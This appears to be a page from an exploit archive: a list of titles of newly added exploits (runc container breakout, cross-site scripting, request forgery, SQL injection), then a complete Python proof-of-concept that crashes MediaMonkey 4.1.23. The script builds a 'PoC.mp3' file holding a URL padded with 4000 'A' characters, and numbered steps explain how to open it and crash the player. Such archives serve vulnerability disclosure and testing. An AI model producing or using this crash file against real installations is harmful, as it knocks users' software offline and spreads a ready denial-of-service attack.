5f3f5c8f09
18 changes to exploits/shellcodes Core FTP/SFTP Server 1.2 Build 589.42 - 'User domain' Denial of Service (PoC) MediaMonkey 4.1.23 - '.mp3' URL Denial of Service (PoC) ApowerManager 3.1.7 - Phone Manager Remote Denial of Service (DoS) runc < 1.0-rc6 (Docker < 18.09.2) - Host Command Execution runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (1) exacqVision ESM 5.12.2 - Privilege Escalation runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2) Jiofi 4 (JMR 1140 Amtel_JMR1140_R12.07) - Reflected Cross-Site Scripting Jiofi 4 (JMR 1140 Amtel_JMR1140_R12.07) - Cross-Site Request Forgery (Password Disclosure) Jiofi 4 (JMR 1140 Amtel_JMR1140_R12.07) - Cross-Site Request Forgery (Admin Token Disclosure) DomainMOD 4.11.01 - 'ssl-provider-name' Cross-Site Scripting DomainMOD 4.11.01 - 'ssl-accounts.php username' Cross-Site Scripting DomainMOD 4.11.01 - 'category.php CatagoryName_ StakeHolder' Cross-Site Scripting DomainMOD 4.11.01 - 'assets/add/dns.php' Cross-Site Scripting DomainMOD 4.11.01 - 'assets/edit/host.php?whid=5' Cross-Site Scripting WordPress Plugin Booking Calendar 8.4.3 - Authenticated SQL Injection LayerBB 1.1.2 - Cross-Site Request Forgery (Add Admin)
24 lines
No EOL
728 B
Python
Executable file
24 lines
No EOL
728 B
Python
Executable file
# -*- coding: utf-8 -*-
|
|
# Exploit Title: MediaMonkey 4.1.23 - URL Denial of Service (PoC)
|
|
# Date: 13/02/2019
|
|
# Author: Alejandra Sánchez
|
|
# Vendor Homepage: https://www.mediamonkey.com/
|
|
# Software Link: https://www.mediamonkey.com/sw/MediaMonkey_4.1.23.1881.exe
|
|
# Version: 4.1.23.1881
|
|
# Tested on: Windows 10
|
|
|
|
# Proof of Concept:
|
|
# 1.- Run the python script "MediaMonkey.py", it will create a new file "PoC.mp3"
|
|
# 2.- Open MediaMonkey.exe
|
|
# 3.- Go to File > Open URL or File...
|
|
# 4.- Click on button -> Browse... and select the 'PoC.mp3' file created
|
|
# 5.- Crashed
|
|
|
|
buffer = "http://127.0.0.1/"
|
|
badstr = "\x41" * 4000
|
|
buffer += badstr
|
|
buffer += ".mp3"
|
|
|
|
f = open ("PoC.mp3", "w")
|
|
f.write(buffer)
|
|
f.close() |